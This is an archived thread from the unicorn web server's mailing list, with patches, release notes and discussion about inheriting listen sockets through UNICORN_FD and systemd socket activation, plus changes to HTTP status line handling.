For some reason, I thought invalid descriptors passed to UNICORN_FD
would be automatically closed by the master process; but apparently
this hasn't been the case. On the other hand, this bug has been
around for over 6 years now and nobody noticed or cared enough to
tell us, so fixing it might break existing setups.
Since there may be users relying on this behavior, we cannot change
the behavior anymore; so update the documentation and write at test
to ensure we can never "fix" this bug at the expense of breaking
any working setups which may be out there.
Keep in mind that a before_exec hook may always be used to modify
the UNICORN_FD environment by setting the close_on_exec flag and
removing the appropriate descriptor from the environment.
I originally intended to add the ability to inherit new listeners
without a config file specification so systemd users can avoid
repeating themselves in the systemd and unicorn config files,
but apparently there is nothing to change in our code.
---
Documentation/unicorn.1.txt | 4 +---
test/exec/test_exec.rb | 20 ++++++++++++++++++++
2 files changed, 21 insertions(+), 3 deletions(-)
diff --git a/Documentation/unicorn.1.txt b/Documentation/unicorn.1.txt
index 193860f..5b82ad5 100644
--- a/Documentation/unicorn.1.txt
+++ b/Documentation/unicorn.1.txt
@@ -166,9 +166,7 @@ variable internally when doing transparent upgrades.
UNICORN_FD is a comma-delimited list of one or more file descriptors
used to implement USR2 upgrades. Init systems may bind listen sockets
itself and spawn unicorn with UNICORN_FD set to the file descriptor
-numbers of the listen socket(s). The unicorn CONFIG_FILE must still
-have the inherited listen socket parameters defined as in a normal
-startup, otherwise the socket will be closed.
+numbers of the listen socket(s).
# SEE ALSO
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index af6f151..ca0b7bc 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -128,6 +128,26 @@ def test_sd_listen_fds_emulation
# [ruby-core:69895] [Bug #11336] fixed by r51576
end if RUBY_VERSION.to_f >= 2.3
+ def test_inherit_listener_unspecified
+ File.open("config.ru", "wb") { |fp| fp.write(HI) }
+ sock = TCPServer.new(@addr, @port)
+ sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
+
+ pid = xfork do
+ redirect_test_io do
+ ENV['UNICORN_FD'] = sock.fileno.to_s
+ exec($unicorn_bin, sock.fileno => sock.fileno)
+ end
+ end
+ res = hit(["http://#@addr:#@port/"])
+ assert_equal [ "HI\n" ], res
+ assert_shutdown(pid)
+ assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
+ 'unicorn should always set SO_KEEPALIVE on inherited sockets'
+ ensure
+ sock.close if sock
+ end
+
def test_working_directory_rel_path_config_file
other = Tempfile.new('unicorn.wd')
File.unlink(other.path)
--
EW
^ permalink raw reply related [relevance 7%]
* [PATCH 0/2] socket inheritance behavior/bug => feature!
@ 2015-10-27 3:33 2% Eric Wong
2015-10-27 3:33 11% ` [PATCH 1/2] sd_listen_fds emulation cleanup Eric Wong
2015-10-27 3:33 7% ` [PATCH 2/2] inheriting sockets from UNICORN_FD does not close them Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2015-10-27 3:33 UTC (permalink / raw)
To: unicorn-public
Given long enough, some bugs need to become documented behavior
(see [PATCH 2/2]).
Anyways, I guess we'll release 5.0.0 final in a day or two. I was
intending to release 5.0.0 today until I noticed how un-DRY having
listeners configured in both systemd and unicorn config files would
be. And then I noticed we have an existing bug as documented in 2/2
which would allow the user to be DRY after all.
Eric Wong (2):
sd_listen_fds emulation cleanup
inheriting sockets from UNICORN_FD does not close them
Documentation/unicorn.1.txt | 4 +---
lib/unicorn/http_server.rb | 4 ++--
test/exec/test_exec.rb | 50 ++++++++++++++++++++++++++++++++++-----------
3 files changed, 41 insertions(+), 17 deletions(-)
Fwiw, in case anybody is uncomfortable with the mere mention of the
word "systemd"; unicorn will never have any dependencies on systemd.
It will merely use systemd if available.
^ permalink raw reply [relevance 2%]
* [PATCH] unicorn.conf.rb: remove mention of REE-specific setting
@ 2015-10-15 17:46 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-10-15 17:46 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Ruby 2.0+ has a copy-on-write-friendly memory layout by default,
and REE is long dead and just confusing to new users.
---
examples/unicorn.conf.rb | 5 +----
1 file changed, 1 insertion(+), 4 deletions(-)
diff --git a/examples/unicorn.conf.rb b/examples/unicorn.conf.rb
index 4b28a5a..1e05cbb 100644
--- a/examples/unicorn.conf.rb
+++ b/examples/unicorn.conf.rb
@@ -40,11 +40,8 @@ pid "/path/to/app/shared/pids/unicorn.pid"
stderr_path "/path/to/app/shared/log/unicorn.stderr.log"
stdout_path "/path/to/app/shared/log/unicorn.stdout.log"
-# combine Ruby 2.0.0dev or REE with "preload_app true" for memory savings
-# http://rubyenterpriseedition.com/faq.html#adapt_apps_for_cow
+# combine Ruby 2.0.0+ with "preload_app true" for memory savings
preload_app true
-GC.respond_to?(:copy_on_write_friendly=) and
- GC.copy_on_write_friendly = true
# Enable this flag to have unicorn test client connections by writing the
# beginning of the HTTP headers before calling the application. This
--
EW
^ permalink raw reply related [relevance 5%]
* Re: [DRE-maint] unicorn: native systemd service
@ 2015-07-08 13:08 2% ` Christos Trochalakis
0 siblings, 0 replies; 200+ results
From: Christos Trochalakis @ 2015-07-08 13:08 UTC (permalink / raw)
To: Eric Wong; +Cc: Dmitry Smirnov, Hleb Valoshka, unicorn, unicorn-public
>Christos Trochalakis <yatiohi@ideopolis.gr> wrote:
>> On Sat, Jun 27, 2015 at 03:05:01AM +0000, Eric Wong wrote:
>> >Is it possible to make systemd fire up two unicorn masters?
>> >That would be a nice feature to have with socket activation.
>>
>> That would be great! I am a bit surprised that specifying multiple
>> services ('Service=' option) is not supported.
Apparently I was wrong. I missed the 'Sockets=' option for Service units.
You can specify a list of socket units to be inherited (if active) when
the service is started. Note that this is not the reverse of Sockets'
'Service=' option: the service is not auto-started when there is an
incoming connnection on the relevant socket, you have to use 'Service='
for socket activation.
Here is a test config for 2 preforked unicorn masters using service
templates (I am using the latest unicorn with the systemd patch):
==> /srv/uni/config.ru <==
puts "initializing for 5sec"
sleep 5
app = proc do |env|
[
200,
{ 'Content-Type' => 'text/plain' },
["ppid:#{Process.ppid}\n"]
]
end
run app
==> /srv/uni/unicorn.conf.rb <==
worker_processes 2
working_directory "/srv/uni"
# Keep in sync with uni.socket file
listen 9000
listen 9001
==> /etc/systemd/system/uni@.service <==
[Unit]
Description=Unicorn Server %i
Wants=uni.socket
After=uni.socket
[Service]
ExecStart=/usr/local/bin/unicorn -c /srv/uni/unicorn.conf.rb -d
Sockets=uni.socket
KillSignal=SIGQUIT
[Install]
WantedBy=multi-user.target
==> /etc/systemd/system/uni.socket <==
[Unit]
Description=Unicorn Sockets
[Socket]
ListenStream=0.0.0.0:9000
ListenStream=0.0.0.0:9001
Service=uni@1.service
[Install]
WantedBy=sockets.target
==> end <==
systemctl daemon-reload
systemctl enable uni.socket
systemctl start uni.socket
systemctl enable uni@1 uni@2 # Make them start at boot
systemctl start uni@1 uni@2
Now you can start and stop uni@1 and uni@2 with zero latency and without losing
a connection. So we have a happy ending after all :)
While searching systemd's mailing list, I found a thread discussing about a
'Distribute=' option to sockets a few years back[0]. There is also a relevant
item in systemd's TODO list.
[0] http://thread.gmane.org/gmane.comp.sysutils.systemd.devel/14242/focus=14255
^ permalink raw reply [relevance 2%]
* [PATCH] test_exec: disable systemd inheritance test
@ 2015-07-08 3:03 14% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-08 3:03 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Turns out ruby does have trouble emulating systemd, for now:
[ruby-core:69895] https://bugs.ruby-lang.org/issues/11336
When we re-enable this test, we'll only enable it for fixed Rubies.
The actual socket inheritance functionality works in any version of
Ruby, of course, it's just that emulating systemd won't work until
ruby-core fixes mainline Ruby.
---
test/exec/test_exec.rb | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index af8de26..33d768a 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -96,7 +96,9 @@ def teardown
end
end
- def test_sd_listen_fds_emulation
+ # FIXME https://bugs.ruby-lang.org/issues/11336
+ # [ruby-core:69895] [Bug #11336]
+ def disabled_test_sd_listen_fds_emulation
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
--
EW
^ permalink raw reply related [relevance 14%]
* [ANN] unicorn 5.0.0.pre2 - another prerelease!
2015-06-15 22:56 2% [ANN] unicorn 5.0.0.pre1 - incompatible changes! Eric Wong
@ 2015-07-06 21:41 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-06 21:41 UTC (permalink / raw)
To: unicorn-public
There is a minor TCP socket options are now applied to inherited
sockets, and we have native support for inheriting sockets from
systemd (by emulating the sd_listen_fds(3) function).
Dynamic changes in the application to Rack::Utils::HTTP_STATUS
codes is now supported, so you can use your own custom status
lines.
Ruby 2.2 and later is now favored for performance.
Optimizations by using constants which made sense in earlier
versions of Ruby are gone: so users of old Ruby versions
will see performance regressions. Ruby 2.2 users should
see the same or better performance, and we have less code
as a result.
* doc: update some invalid URLs
* apply TCP socket options on inherited sockets
* reflect changes in Rack::Utils::HTTP_STATUS_CODES
* reduce constants and optimize for Ruby 2.2
* http_response: reduce size of multi-line header path
* emulate sd_listen_fds for systemd support
* test/unit/test_response.rb: compatibility with older test-unit
This also includes all changes in unicorn 5.0.0.pre1:
http://bogomips.org/unicorn-public/m/20150615225652.GA16164@dcvr.yhbt.net.html
--
EW
^ permalink raw reply [relevance 3%]
* [PATCH] test/unit/test_response.rb: compatibility with older test-unit
@ 2015-07-05 0:31 22% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-05 0:31 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
assert_predicate really isn't that useful even if it seems
preferred in another project I work on. Avoid having folks
download the latest test-unit if they're on an old version of
Ruby (e.g. 1.9.3) which bundled it.
---
test/unit/test_response.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 1e9d74a..0b14d59 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -94,7 +94,7 @@ class ResponseTest < Test::Unit::TestCase
assert_equal "HTTP/1.1 200 HI\r\n", r.gets
r.read # just drain the pipe
pid, status = Process.waitpid2(pid)
- assert_predicate status, :success?
+ assert status.success?, status.inspect
ensure
r.close
w.close unless w.closed?
--
EW
^ permalink raw reply related [relevance 22%]
* [PATCH v2] emulate sd_listen_fds for systemd support
@ 2015-07-05 0:27 7% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-05 0:27 UTC (permalink / raw)
To: Christos Trochalakis
Cc: Dmitry Smirnov, Hleb Valoshka, unicorn, unicorn-public
systemd socket emulation shares FDs across execve, just like
the built-in SIGUSR2 upgrade process in unicorn. Thus it is
easy to support inheriting sockets from systemd.
Tested-by: Christos Trochalakis <yatiohi@ideopolis.gr>
---
Christos Trochalakis <yatiohi@ideopolis.gr> wrote:
> On Sat, Jun 27, 2015 at 04:01:36AM +0000, Eric Wong wrote:
> >Unfortunately, testing this is tricky because FD=3
> >(SD_LISTEN_FDS_START) tends to be grabbed by (MRI) Ruby 1.9.3
> >and onwards for the internal self-pipe.
OK, that was a bogus note.
I forgot exec() in Ruby 1.9+ supports redirects natively.
Test included in updated patch.
> I have also tested it and works as expected. Also, hardcoding
> SD_LISTEN_FDS_START seems like the best option. I 'd like to see that
> applied to master.
Thanks. This will be in 5.0.0.pre2
lib/unicorn/http_server.rb | 16 +++++++++++++---
test/exec/test_exec.rb | 24 ++++++++++++++++++++++++
2 files changed, 37 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 297b9f9..0f97516 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -766,12 +766,22 @@ class Unicorn::HttpServer
def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
# before they become Kgio::UNIXServer or Kgio::TCPServer
- inherited = ENV['UNICORN_FD'].to_s.split(',').map do |fd|
- io = Socket.for_fd(fd.to_i)
+ inherited = ENV['UNICORN_FD'].to_s.split(',')
+
+ # emulate sd_listen_fds() for systemd
+ sd_pid, sd_fds = ENV.values_at('LISTEN_PID', 'LISTEN_FDS')
+ if sd_pid && sd_pid.to_i == $$
+ # 3 = SD_LISTEN_FDS_START
+ inherited.concat((3...(3 + sd_fds.to_i)).map { |fd| Socket.for_fd(fd) })
+ end
+ # to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
+
+ inherited.map! do |fd|
+ io = String === fd ? Socket.for_fd(fd.to_i) : fd
io.autoclose = false
io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
- logger.info "inherited addr=#{sock_name(io)} fd=#{fd}"
+ logger.info "inherited addr=#{sock_name(io)} fd=#{io.fileno}"
io
end
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 6deb96b..af8de26 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -96,6 +96,30 @@ run lambda { |env|
end
end
+ def test_sd_listen_fds_emulation
+ File.open("config.ru", "wb") { |fp| fp.write(HI) }
+ sock = TCPServer.new(@addr, @port)
+ sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
+
+ pid = xfork do
+ redirect_test_io do
+ # pretend to be systemd
+ ENV['LISTEN_PID'] = "#$$"
+ ENV['LISTEN_FDS'] = '1'
+
+ # 3 = SD_LISTEN_FDS_START
+ exec($unicorn_bin, "-l", "#@addr:#@port", 3 => sock)
+ end
+ end
+ res = hit(["http://#{@addr}:#{@port}/"])
+ assert_equal [ "HI\n"], res
+ assert_shutdown(pid)
+ assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
+ "unicorn should always set SO_KEEPALIVE on inherited sockets"
+ ensure
+ sock.close if sock
+ end
+
def test_working_directory_rel_path_config_file
other = Tempfile.new('unicorn.wd')
File.unlink(other.path)
--
EW
^ permalink raw reply related [relevance 7%]
* [PATCH 1/3] reflect changes in Rack::Utils::HTTP_STATUS_CODES
2015-06-30 22:51 2% [PATCH 0/3] reflect changes to Rack::Utils::HTTP_STATUS_CODES Eric Wong
@ 2015-06-30 22:51 11% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-30 22:51 UTC (permalink / raw)
To: unicorn-public; +Cc: e
Applications may want to alter the message associated with HTTP
status codes in Rack::Utils::HTTP_STATUS_CODES. Avoid memoizing
status lines ahead-of-time
Note: this introduces a minor performance regression, but ought to
be unnoticeable unless you're running "Hello world"-type apps.
---
lib/unicorn/http_response.rb | 15 +++++++--------
test/unit/test_response.rb | 20 ++++++++++++++++++++
2 files changed, 27 insertions(+), 8 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 016dac8..a42303e 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -10,15 +10,12 @@
# is the job of Rack, with the exception of the "Date" and "Status" header.
module Unicorn::HttpResponse
- # Every standard HTTP code mapped to the appropriate message.
- CODES = Rack::Utils::HTTP_STATUS_CODES.inject({}) { |hash,(code,msg)|
- hash[code] = "#{code} #{msg}"
- hash
- }
CRLF = "\r\n"
+ # internal API, code will always be common-enough-for-even-old-Rack
def err_response(code, response_start_sent)
- "#{response_start_sent ? '' : 'HTTP/1.1 '}#{CODES[code]}\r\n\r\n"
+ "#{response_start_sent ? '' : 'HTTP/1.1 '}" \
+ "#{code} #{Rack::Utils::HTTP_STATUS_CODES[code]}\r\n\r\n"
end
# writes the rack_response to socket as an HTTP response
@@ -26,9 +23,11 @@ module Unicorn::HttpResponse
response_start_sent=false)
hijack = nil
- http_response_start = response_start_sent ? '' : 'HTTP/1.1 '
if headers
- buf = "#{http_response_start}#{CODES[status.to_i] || status}\r\n" \
+ code = status.to_i
+ msg = Rack::Utils::HTTP_STATUS_CODES[code]
+ start = response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
+ buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
headers.each do |key, value|
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 3478288..1e9d74a 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -79,4 +79,24 @@ class ResponseTest < Test::Unit::TestCase
headers = out.string.split(/\r\n\r\n/).first.split(/\r\n/)
assert %r{\AHTTP/\d\.\d 666 I AM THE BEAST\z}.match(headers[0])
end
+
+ def test_modified_rack_http_status_codes_late
+ r, w = IO.pipe
+ pid = fork do
+ r.close
+ # Users may want to globally override the status text associated
+ # with an HTTP status code in their app.
+ Rack::Utils::HTTP_STATUS_CODES[200] = "HI"
+ http_response_write(w, 200, {}, [])
+ w.close
+ end
+ w.close
+ assert_equal "HTTP/1.1 200 HI\r\n", r.gets
+ r.read # just drain the pipe
+ pid, status = Process.waitpid2(pid)
+ assert_predicate status, :success?
+ ensure
+ r.close
+ w.close unless w.closed?
+ end
end
--
EW
^ permalink raw reply related [relevance 11%]
* [PATCH 0/3] reflect changes to Rack::Utils::HTTP_STATUS_CODES
@ 2015-06-30 22:51 2% Eric Wong
2015-06-30 22:51 11% ` [PATCH 1/3] reflect changes in Rack::Utils::HTTP_STATUS_CODES Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-06-30 22:51 UTC (permalink / raw)
To: unicorn-public; +Cc: e
A user privately reported (to unicorn@bogomips.org) that they wanted
status text reflected in their responses for an HTTP status code not
included with Rack::Utils::HTTP_STATUS_CODES.
They tried to modify Rack::Utils::HTTP_STATUS_CODES hash directly in
their app, but unicorn loads before their app and already memoized the
status codes internally in the CODES hash to reduce GC pressure, thus
their change was never reflected.
With the first change, users can change Rack::Utils::HTTP_STATUS_CODES
as many times as they want (perhaps even based on time-of-day, weather,
server load, whatever) and the changes will be reflected
instantaneously in responses.
Of course, this slows unicorn down slightly due to increased GC
pressure, but I doubt anybody would notice in Real World usage.
In case they do, patch 2/3 will recover the lost performance
if they're using Ruby 2.2+
I figure anybody who cares about micro-benchmark performance with
unicorn would be using the latest Rubies anyways...
That user is Bcc:-ed for these patches, and can follow any public
discussion at: http://bogomips.org/unicorn-public/
(including the Atom feed at http://bogomips.org/unicorn-public/atom.xml )
* [PATCH 1/3] reflect changes in Rack::Utils::HTTP_STATUS_CODES
introduces a performance regression
* [PATCH 2/3] reduce constants and optimize for Ruby 2.2
recover lost performance from [PATCH 1/3] (on Ruby 2.2+),
further regressions for 2.1+
* [PATCH 3/3] http_response: reduce size of multi-line header path
bonus reduce code size for common cases, should
lib/unicorn/http_request.rb | 19 +++++++------------
lib/unicorn/http_response.rb | 23 ++++++++++-------------
test/unit/test_response.rb | 20 ++++++++++++++++++++
3 files changed, 37 insertions(+), 25 deletions(-)
^ permalink raw reply [relevance 2%]
* Re: [DRE-maint] unicorn: native systemd service
2015-06-27 3:05 0% ` Eric Wong
@ 2015-06-30 9:20 0% ` Christos Trochalakis
1 sibling, 1 reply; 200+ results
From: Christos Trochalakis @ 2015-06-30 9:20 UTC (permalink / raw)
To: Eric Wong; +Cc: Dmitry Smirnov, Hleb Valoshka, unicorn, unicorn-public
On Sat, Jun 27, 2015 at 03:05:01AM +0000, Eric Wong wrote:
>Christos Trochalakis <yatiohi@ideopolis.gr> wrote:
>> On Thu, Jun 25, 2015 at 11:26:26PM +0000, Eric Wong wrote:
>> >With socket activation, you should just be able to kill unicorn using
>> >SIGQUIT (just master, or even all workers) and restart without ever
>> >dropping a connection. I do NOT suggest using SIGTERM for unicorn,
>> >since that'll cause the master to kill all workers ASAP.
>>
>> Yes, you are right socket activation is also an option! I have made some
>> experiments with a simple rack app to test it.
>>
>> systemd uses the LISTEN_FDS env variable that is an integer indicating the
>> number of inherited file descriptors. Those FDs have consecutive numbers
>> starting from `SD_LISTEN_FDS_START` which is `3` (man sd_listen_fds).
>>
>> So for example if LISTEN_FDS="2", UNICORN_FD should be "3,4". I used a
>> simple wrapper script for that. Here is the full configuration:
>
>OK, I'll probably add LISTEN_FDS and LISTEN_PID support to unicorn
>directly so the wrapper is unnecessary.
>
><snip>
>
>> KillMode=mixed
>
>I don't think KillMode=mixed is necessary, here. systemd can send
>SIGQUIT to workers.
>
Perhaps there is a race here, if a worker receives SIGQUIT first, and the
master respawns a new worker before receiving/handling its own SIGQUIT.
This is definitely a longshot, and will probably never happen, but
even then every process will eventually quit gracefully.
><snip>
>
>> TCP socket options are not applied by unicorn on inherited sockets (TCPSocket
>> === sock is false). systemd socket files have support for most options now but
>> we might want unicorn to `setsockopt` them as well. For example,
>> 'DeferAcceptSec', 'KeepAliveIntervalSec', 'NoDelay' are supported since v216, so
>> they are not available in jessie (v215).
>
>They are now :)
>
>http://bogomips.org/unicorn-public/m/1435373879-4299-1-git-send-email-e@80x24.org.txt
>
>We don't have KeepAliveIntervalSec
>(aka TCP_KEEPINTVL) since it's not-portable and probably over
>Are you sure about that?
I added 'KeepAliveIntervalSec' by mistake. `KeepAlive`, a supported
option by unicorn, is included in jessie (systemd v215). Either way with
your last patch those options are enforced by unicorn.
>
>> socket activation is a really interesting setup, but personally I would not run
>> it with a large application. Clients would have to wait for the new master to
>> be up and running before a reply is returned, and that could take tenths of
>> seconds. The USR2 rexec solves that problem since both old and new workers are
>> accepting on the socket and we can kill the old ones when we are ready. In that
>> case the PIDFile trick is handy to support zero downtime restarts with no
>> latency.
>
>Is it possible to make systemd fire up two unicorn masters?
>That would be a nice feature to have with socket activation.
That would be great! I am a bit surprised that specifying multiple
services ('Service=' option) is not supported.
^ permalink raw reply [relevance 0%]
* Re: [DRE-maint] unicorn: native systemd service
2015-06-26 11:41 1% ` Christos Trochalakis
@ 2015-06-27 3:05 0% ` Eric Wong
2015-06-30 9:20 0% ` [DRE-maint] unicorn: native systemd service Christos Trochalakis
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2015-06-27 3:05 UTC (permalink / raw)
To: Christos Trochalakis
Cc: Dmitry Smirnov, Hleb Valoshka, unicorn, unicorn-public
Christos Trochalakis <yatiohi@ideopolis.gr> wrote:
> On Thu, Jun 25, 2015 at 11:26:26PM +0000, Eric Wong wrote:
> >With socket activation, you should just be able to kill unicorn using
> >SIGQUIT (just master, or even all workers) and restart without ever
> >dropping a connection. I do NOT suggest using SIGTERM for unicorn,
> >since that'll cause the master to kill all workers ASAP.
>
> Yes, you are right socket activation is also an option! I have made some
> experiments with a simple rack app to test it.
>
> systemd uses the LISTEN_FDS env variable that is an integer indicating the
> number of inherited file descriptors. Those FDs have consecutive numbers
> starting from `SD_LISTEN_FDS_START` which is `3` (man sd_listen_fds).
>
> So for example if LISTEN_FDS="2", UNICORN_FD should be "3,4". I used a
> simple wrapper script for that. Here is the full configuration:
OK, I'll probably add LISTEN_FDS and LISTEN_PID support to unicorn
directly so the wrapper is unnecessary.
<snip>
> KillMode=mixed
I don't think KillMode=mixed is necessary, here. systemd can send
SIGQUIT to workers.
<snip>
> TCP socket options are not applied by unicorn on inherited sockets (TCPSocket
> === sock is false). systemd socket files have support for most options now but
> we might want unicorn to `setsockopt` them as well. For example,
> 'DeferAcceptSec', 'KeepAliveIntervalSec', 'NoDelay' are supported since v216, so
> they are not available in jessie (v215).
They are now :)
http://bogomips.org/unicorn-public/m/1435373879-4299-1-git-send-email-e@80x24.org.txt
We don't have KeepAliveIntervalSec
(aka TCP_KEEPINTVL) since it's not-portable and probably over
Are you sure about that?
> socket activation is a really interesting setup, but personally I would not run
> it with a large application. Clients would have to wait for the new master to
> be up and running before a reply is returned, and that could take tenths of
> seconds. The USR2 rexec solves that problem since both old and new workers are
> accepting on the socket and we can kill the old ones when we are ready. In that
> case the PIDFile trick is handy to support zero downtime restarts with no
> latency.
Is it possible to make systemd fire up two unicorn masters?
That would be a nice feature to have with socket activation.
^ permalink raw reply [relevance 0%]
* Re: [DRE-maint] unicorn: native systemd service
@ 2015-06-26 11:41 1% ` Christos Trochalakis
2015-06-27 3:05 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Christos Trochalakis @ 2015-06-26 11:41 UTC (permalink / raw)
To: Eric Wong; +Cc: Dmitry Smirnov, Hleb Valoshka, unicorn, unicorn-public
On Thu, Jun 25, 2015 at 11:26:26PM +0000, Eric Wong wrote:
>+Cc unicorn-public list
>Christos Trochalakis <christos@skroutz.gr> wrote:
>> Hello all,
>>
>> I have recently migrated our main ruby application to systemd implementing zero
>> downtime upgrades.
>>
>> systemd doesn't like replacing the binary on the fly. There is one exception to
>> this, services with PIDFile. When PIDFile is set, systemd reads it when the
>> main process exits and replaces the main process. nginx also had this issue a
>> few months ago [0].
>>
>> So, in order to support zero-downtime upgrades we have to use a pid file.
>
>I don't think so. You should be able to bind the listen socket in
>systemd and rely on the socket activation features (setting the
>UNICORN_FD environment variable to the created FD).
>
>You still need to have the matching "listen" directive in the unicorn
>config file so unicorn does not close it.
>
>With socket activation, you should just be able to kill unicorn using
>SIGQUIT (just master, or even all workers) and restart without ever
>dropping a connection. I do NOT suggest using SIGTERM for unicorn,
>since that'll cause the master to kill all workers ASAP.
>
Yes, you are right socket activation is also an option! I have made some
experiments with a simple rack app to test it.
systemd uses the LISTEN_FDS env variable that is an integer indicating the
number of inherited file descriptors. Those FDs have consecutive numbers
starting from `SD_LISTEN_FDS_START` which is `3` (man sd_listen_fds).
So for example if LISTEN_FDS="2", UNICORN_FD should be "3,4". I used a
simple wrapper script for that. Here is the full configuration:
$ tail -n+1 /srv/uni/* /etc/systemd/system/uni.*
==> /srv/uni/config.ru <==
app = proc do |env|
sleep 5
[
200,
{ 'Content-Type' => 'text/plain' },
["Socket Activated!\n", "pid:#{$$}\n", "ppid:#{Process.ppid}\n"]
]
end
run app
==> /srv/uni/unicorn.conf.rb <==
worker_processes 2
working_directory "/srv/uni"
# Keep in sync with uni.socket
listen 9000, :tcp_nopush => true
listen 9001, :tcp_nopush => true
==> /srv/uni/wrapper <==
#!/bin/bash
[ -z "$LISTEN_FDS" ] && exec $@
UNICORN_FD=""
for fd in `seq 3 $(($LISTEN_FDS+2))`; do
UNICORN_FD="${UNICORN_FD}${fd},"
done
export UNICORN_FD
echo "wrapped fds: ${UNICORN_FD}"
exec $@
==> /etc/systemd/system/uni.service <==
[Unit]
Description=Unicorn Server
[Service]
ExecStart=/srv/uni/wrapper /usr/bin/unicorn -c /srv/uni/unicorn.conf.rb -d
KillSignal=SIGQUIT
KillMode=mixed
==> /etc/systemd/system/uni.socket <==
[Unit]
Description=Unicorn Socket
[Socket]
ListenStream=0.0.0.0:9000
ListenStream=0.0.0.0:9001
[Install]
WantedBy=sockets.target
Make sure to activate the systemd units:
chmod +x /srv/uni/wrapper
systemdctl daemon-reload
systemctl enable uni.socket
systemctl start uni.socket
The application sleeps for 5secs before replying.
I run the following commands from 3 different terminals:
$ curl localhost:9000 [blocked for 5sec]
# systemctl stop uni.service [issues sigquit on the running unicorn, killing
the 2nd worker and waiting the 1st to finish]
$ curl localhost:9000 [blocked since there are no more workers to accept right now]
After the first request is served, unicorn dies and systemd respawns a new master.
The second request is accepted by the new master (notice the different ppid).
Some notes:
TCP socket options are not applied by unicorn on inherited sockets (TCPSocket
=== sock is false). systemd socket files have support for most options now but
we might want unicorn to `setsockopt` them as well. For example,
'DeferAcceptSec', 'KeepAliveIntervalSec', 'NoDelay' are supported since v216, so
they are not available in jessie (v215).
socket activation is a really interesting setup, but personally I would not run
it with a large application. Clients would have to wait for the new master to
be up and running before a reply is returned, and that could take tenths of
seconds. The USR2 rexec solves that problem since both old and new workers are
accepting on the socket and we can kill the old ones when we are ready. In that
case the PIDFile trick is handy to support zero downtime restarts with no
latency.
^ permalink raw reply [relevance 1%]
* [ANN] unicorn 5.0.0.pre1 - incompatible changes!
@ 2015-06-15 22:56 2% Eric Wong
2015-07-06 21:41 3% ` [ANN] unicorn 5.0.0.pre2 - another prerelease! Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-06-15 22:56 UTC (permalink / raw)
To: unicorn-public
This release finally drops Ruby 1.8 support and requires Ruby 1.9.3
or later. The horrible "Status:" header in our HTTP response is
finally gone, saving at least 16 precious bytes in every single HTTP
response.
Under Ruby 2.1 and later, the monotonic clock is used for timeout
handling for better accuracy.
Several experimental, unused and undocumented features are removed.
There's also tiny, minor performance and memory improvements from
dropping 1.8 compatibility, but probably nothing noticeable on a
typical real-life (bloated) app.
The biggest performance improvement we made was to our website by
switching to olddoc. Depending on connection speed, latency, and
renderer performance, it typically loads two to four times faster.
Finally, for the billionth time: unicorn must never be exposed
to slow clients, as it will never ever use new-fangled things
like non-blocking socket I/O, threads, epoll or kqueue. unicorn
must be used with a fully-buffering reverse proxy such as nginx
for slow clients.
I'll tag 5.0.0 final in a week or so if all goes well
= gem install --pre unicorn
= git clone git://bogomips.org/unicorn.git
= http://unicorn.bogomips.org/
* ISSUES: update with mailing list subscription
* GIT-VERSION-GEN: start 5.0.0 development
* http: remove xftrust options
* FAQ: add entry for Rails autoflush_log
* dev: remove isolate dependency
* unicorn.gemspec: depend on test-unit 3.0
* http_response: remove Status: header
* remove RubyForge and Freecode references
* remove mongrel.rubyforge.org references
* http: remove the keepalive requests limit
* http: reduce parser from 72 to 56 bytes on 64-bit
* examples: add run_once to before_fork hook example
* worker: remove old tmp accessor
* http_server: save 450+ bytes of memory on x86-64
* t/t0002-parser-error.sh: relax test for rack 1.6.0
* remove SSL support
* tmpio: drop the "size" method
